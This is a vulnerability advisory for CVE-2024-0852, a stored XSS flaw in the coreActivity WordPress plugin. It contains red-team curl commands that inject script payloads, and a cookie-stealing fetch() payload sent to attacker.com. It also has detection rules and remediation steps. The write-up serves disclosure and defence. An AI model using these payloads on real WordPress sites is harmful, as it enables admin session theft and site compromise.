CVE-2024-0852

Executive Summary

CVE-2024-0852 is a Stored Cross-Site Scripting (XSS) vulnerability in the coreActivity: Activity Logging for WordPress plugin (versions before 1.8.1). The plugin fails to properly escape certain request data when rendering it in the admin dashboard, allowing unauthenticated attackers to inject malicious scripts. When a high-privilege user (e.g., admin) views the affected dashboard page, the injected script executes in their browser session, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

This vulnerability is particularly dangerous because it requires no authentication to trigger the stored payload, and the target is a privileged user. The CVSS score is low (3.1) due to the requirement for user interaction (admin must view the page), but the impact on a WordPress ecosystem can be severe.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to update the plugin directly from their WordPress admin dashboard or by downloading the latest version from wordpress.org. No third-party package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 3.1 (Low)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – the admin must visit the dashboard page
• Scope: Changed (S:C) – the vulnerability impacts the browser context of the admin, not the server
• Confidentiality Impact: Low (C:L) – limited data exfiltration possible
• Integrity Impact: Low (I:L) – limited modification of content in the admin's session
• Availability Impact: None (A:N)

Threat Level: Low to Moderate. While the CVSS score is low, the real-world risk is elevated because the attack is unauthenticated and targets high-privilege users. In a WordPress ecosystem, a successful XSS can lead to full site compromise.

Deep Dive & Mechanics

The coreActivity plugin logs various user activities and displays them in the WordPress admin dashboard. The vulnerability lies in how the plugin outputs request data (e.g., user agent, referrer, or custom headers) back to the admin interface. The plugin uses functions like esc_html() or esc_attr() inconsistently, or fails to escape data entirely before outputting it in an HTML context.

An attacker can craft a malicious HTTP request to the WordPress site (e.g., by visiting a specific URL or sending a crafted user agent). The plugin logs this request data, including the injected JavaScript payload. When an admin views the activity log in the dashboard, the payload is rendered without proper sanitization, executing in the admin's browser.

Attack Flow:

1. Attacker sends a crafted HTTP request to the WordPress site (e.g., GET /?xss=<script>alert(1)</script>).
2. The coreActivity plugin logs the request URI or user agent, storing the payload in the database.
3. Admin logs in and navigates to the coreActivity dashboard page.
4. The plugin outputs the stored payload without escaping, executing the script.
5. The script can steal cookies, perform actions on behalf of the admin, or redirect to a malicious site.

Vulnerable vs. Patched Code

Vulnerable Code (before 1.8.1):

// In a display function, e.g., coreactivity_display_log()
echo '<td>' . $log_entry['user_agent'] . '</td>';

The $log_entry['user_agent'] is output directly without escaping.

Patched Code (1.8.1+):

// In the same display function
echo '<td>' . esc_html( $log_entry['user_agent'] ) . '</td>';

The esc_html() function converts special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with coreActivity plugin version < 1.8.1.
• Ability to send HTTP requests to the target (no authentication needed).

Exploit Steps:

1. Identify the target WordPress site.
2. Send a crafted HTTP request with a malicious payload in a logged parameter. For example, using curl:

   curl -X GET "http://target-wordpress-site/?page_id=1&xss=<script>alert(document.cookie)</script>"
   

   Or modify the User-Agent header:

   curl -X GET "http://target-wordpress-site/" -H "User-Agent: <script>alert(1)</script>"
   

3. Wait for an admin to visit the coreActivity dashboard page (e.g., /wp-admin/admin.php?page=coreactivity).
4. The payload executes, and the attacker can steal session cookies or perform actions.

Advanced Payload:

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Detection & Prevention)

Detection:

• Monitor HTTP request logs for suspicious patterns in User-Agent, Referer, or URI parameters (e.g., <script>, onerror=, javascript:).
• Use a Web Application Firewall (WAF) to block requests containing obvious XSS payloads.
• Enable WordPress security plugins that scan for malicious activity.

Prevention:

• Immediately update coreActivity to version 1.8.1 or later.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Regularly audit plugin code for unescaped output.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with unusual User-Agent strings containing HTML/JavaScript (e.g., <script>alert(1)</script>).
  • Requests to /wp-admin/admin.php?page=coreactivity from admin IPs after suspicious requests.
• File IOCs:
  • Modified database entries in the wp_coreactivity_log table containing <script> tags.
• Behavioral IOCs:
  • Unexpected admin actions (e.g., new admin user creation, plugin installation) originating from the admin's session.

Detection Engineering

YARA Rule

rule CVE_2024_0852_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in coreActivity plugin logs"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-0852"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $event_payload = /on\w+\s*=\s*['\"].*?['\"]/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-0852 - Stored XSS via coreActivity Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests containing XSS payloads targeting coreActivity plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - 'javascript:'
        cs-user-agent|contains:
            - '<script>'
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of script tags in user agents (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-0852 - Stored XSS via coreActivity Plugin"; flow:to_server; content:"<script>"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-0852 - Stored XSS via User-Agent"; flow:to_server; content:"<script>"; http_user_agent; nocase; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin: Upgrade coreActivity to version 1.8.1 or later from the WordPress admin dashboard or by downloading from wordpress.org.
2. Clear logs: After updating, clear any existing activity logs that may contain malicious payloads (via the plugin's settings or database cleanup).
3. Audit admin sessions: Check for any unauthorized actions performed by admin accounts that may have been compromised.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) with XSS protection rules.
• Enforce Content Security Policy (CSP) headers to block inline scripts.
• Regularly update all WordPress plugins and themes.
• Conduct periodic security audits of custom code and third-party plugins.

Patch Details: The patch is available in version 1.8.1 of the coreActivity plugin. The fix involves using esc_html() on all output data in the admin dashboard. No official OSV or GitHub advisory is available, but the plugin changelog confirms the fix.

Valters IT